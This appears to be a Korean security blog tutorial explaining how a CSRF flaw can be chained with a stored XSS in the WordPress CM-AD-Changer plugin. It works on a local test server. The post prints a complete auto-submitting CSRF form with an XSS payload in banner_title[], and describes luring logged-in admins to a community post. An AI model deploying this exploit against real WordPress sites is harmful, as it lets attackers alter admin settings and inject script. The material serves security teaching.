CSRF (Cross-Site Request Forgery) + XSS Attack - WordPress Plugin. CM-AD-Changer -2 #CSRF #Web Hacking #DreaMerZ-Note


Re-Posting..


지난 포스팅에서 XSS(Cross Site Script) 취약점 사례인 WordPress 의 CM-AD-Changer 플러그인에서 발생한 XSS를 설명하였습니다. 다만, 해당 취약점은 관리자 페이지에서 발생하기 때문에 관리자 계정을 알지 않는 이상, 발현되기 어려운 상황이었습니다. 그래서 이번엔 CSRF 취약점을 활용하여 XSS를 발현시키는 방법에 대해 설명드리겠습니다.


* 이전 포스팅 보기 :


    | 관리자 계정 없이도, 배너 수정이 가능한 CSRF.


    CM-AD-Changer 플러그인은 관리자 페이지에서 발생합니다. 사전에 관리자 계정을 알지 못한다면 해커는 XSS를 시도하기 전에 관리자 계정부터 탈취해야 합니다. 관리자 계정을 탈취하는 방법은 다양하게 있지만, 이번 포스팅에서는 XSS와 유사하게 Script 형태의 공격 기법인 CSRF (Cross Site Request Forgery) 를 이용하는 방법을 소개해드릴게요. 

    추가적으로 계정을 탈취하는 방법은 다양합니다. 로그인 창에 기본 계정(Default Account) 로 인증을 시도하거나, 무작위 대입 공격(Brute Force), 또는 APT(Advanced Persistent Threat) 을 이용하는 방법 등 여러 방법이 있습니다. 다른 공격 기법들에 대해서는 다른 포스팅에서 설명해 볼게요. 


    | 환경 구성


    CSRF 취약점이 있는 사이트가 필요하기 때문에 기존 구성에서 서버(Window Server 2003) 을 하나 더 구축합니다. 사실 저는 예~전에 있던 서버라서 2003 을 이용하는 거구요. 요즘엔 다양한 CSRF 예제 사이트가 있기 때문에 다른 이미지로 올리셔도 됩니다. 


    취약점 검증에 앞서, CSRF와 XSS가 함께 웹 공격으로 사용될 경우 아래와 같은 조건과 단계에 대해 이해가 필요합니다. 

    - Pre-Condition 1. 해커는 CM-AD-Changer 플러그인에 취약점을 알고 있는 상태입니다.
    - Pre-Condition 2. 해커는 CSRF 공격 시 CM-AD-Changer 플러그인이 수정되는 코드를 이용합니다. 
    - Pre-Condition 3. 희생자(워드프레스 관리자)는 CSRF 코드가 작성된 게시글을 읽기 전에 워드프레스 관리자 페이지에 로그인하여 세션이 맺어진 상태입니다.

    - Attack Step 1. 해커는 XSS 취약점이 존재하는 커뮤니티 사이트의 게시판에 워드프레스를 이용하는 유저들에게 공지하는 제목으로 게시글을 작성합니다. 이때 조건2. 에서 준비한 CSRF 코드를 작성합니다.
    - Attack Step 2. CM-AD-Changer 1.7.7 플러그인을 사용하는 워드프레스 관리자가 해당 커뮤니티에 접속합니다. 워드프레스 관리자가 게시글을 읽는 순간 플러그인 정보는 수정되며, XSS 취약점이 발현됩니다.


    | 취약점 검증


    - Pre-Condition 1. 
    해커는 Web Proxy Tool을 이용하여 CM-AD-Changer 플러그인의 배너 등록 시 Web Packet 구조를 파악합니다. 광고 배너 수정 시 전달되는 URL, 파라미터 명이 무엇인 지 알아야 합니다. 아래 이미지는 광고 배너 등록 시 발생하는 Web Reqeust Packet 입니다.


    - URL : /wordpress./wp-admin/admin.php?page=cmac_campaigns&action=edit&campaign_id=1
    - Parameter : 
      - campaign_id=1
      - title=1
      - comment=1
      - link=%2F
      - banner_filename[]=xx.png --> target 배너 이미지
      - banner_title[]=xxx --> xss 취약 매개변수
      - ...

    Banner_filename[] 값은 등록된 배너의 이미지 이름을 값으로 갖습니다. 배너 이름을 변경하기 위해서는 배너의 이미지 이름을 알아야 하기 때문에 '우클릭 -> 속성'으로 이미지의 이름을 확인합니다.



    - Pre-Condition 2.
    해커는 CM-AD-Changer 플러그인의 배너 등록 패킷과, Target 이미지 명을 알고 있으므로 CSRF 구문을 준비할 수 있습니다. From 태그를 이용하여 POST 방식으로 전송할 URL을 지정하고, hidden type 을 통하여 각 파라미터 명과 값을 지정합니다. 그리고 banner_title[] 매개변수에 XSS 취약점이 존재하므로 해당 위치에 공격 코드를 삽입합니다. Form 형식을 완성한 후에는 자동으로 패킷을 Send 하는 스크립트를 작성합니다.

    * Attack script : </script><script>alert('xxx');</script>
    <form id="one" method="POST" action="http://localhost/wordpress/wp-admin/admin.php?page=cmac_campaigns&action=edit&campaign_id=1" >
    //워드프레스 주소는 localhost가 아닌 경우 실제 동작 중인 IP를 입력한다.
    <input type="hidden" name="campaign_id" value="1">
    <input type="hidden" name="title" value="1">
    <input type="hidden" name="comment" value="1">
    <input type="hidden" name="link" value="/">
    <input type="hidden" name="status" value="on">
    <input type="hidden" name="banner_display_method" value="selected">
    <input type="hidden" name="banner_filename[]" value="9678924.PNG">
    //banner_filename[] 값은 실제 게시된 광고 이미지의 값과 동일해야 한다.
    <input type="hidden" name="banner_title[]" value="공격 코드 삽입">
    <input type="hidden" name="banner_title_tag[]" value="">
    <input type="hidden" name="banner_alt_tag[]" value="">
    <input type="hidden" name="banner_link[]" value="">
    <input type="hidden" name="banner_weight[]" value="0">
    <input type="hidden" name="selected_banner" value="9678924.PNG">
    </form>
    //Form 태그 제출 스크립트
    <script>document.getElementById("one").submit();</script>

    - Attack Step 1.
    해커는 XSS가 발생하는 커뮤니티 게시글에 준비한 CSRF 코드를 삽입하여 게시합니다. 유저들이 관심을 갖을 수 있는 매력적인 제목으로 글을 작성합니다. 

    * 참고로 테스트를 이용하는 서버는 CSRF, XSS에 방어가 전혀 안되어 있기 때문에 태그에 대한 필터가 전혀 없습니다. 요즘 실 사이트들은 보안이 잘 되어있는 상태이기 때문에 아래와 같은 단순한 구문으로는 영향이 없습니다. 기본 개념 이해로 봐주세요.



    - Pre-Condition 3 & Attack Step 2.
    이제는 희생자(CM-AD-Changer) 차례입니다. 워드프레스 관리자 페이지를 접속한 상태에서 해커가 작성한 '게시글'을 클릭합니다. 그럼, 클릭과 동시에 해커가 남긴 Alert 창이 출력되고, CM-AD-Changer 의 배너 명에 script 구문이 적용됩니다. 

    이게 CSRF를 이용한 XSS 강제 주입이된 사례에요. 매우 쉽죠? 이처럼 대부분 웹 공격은 단일 공격 형태보다는 여러가지 공격 케이스가 섞여서 최종 취약점 목표를 달성하게 됩니다. 예를 들어, 개인정보 유출, 중요 데이터 유출 등과 같이요. 



    그리고 우리는 XSS 공격 시 단순 히 Alert 함수를 사용하였는데요. script 에는 다양한 함수들이 지원되고, 함수도 별도로 정의할 수 있기 때문에 공격을 활용하는 케이스는 굉장히 많아집니다. 그래서 XSS 라는 취약점도 알아야겠지만, script 언어를 잘 이해하고 있다면 공격 시 달성할 수 있는 영향도는 더욱 커질 거에요. 

    그럼 다음 포스팅에서는 CM-AD-Changer 에서는 XSS (Cross-Site Script)를 어떻게 개선했는 지 살펴볼게요. 


    | XSS 는 어떻게 막지?


    Read More...



    댓글 없음: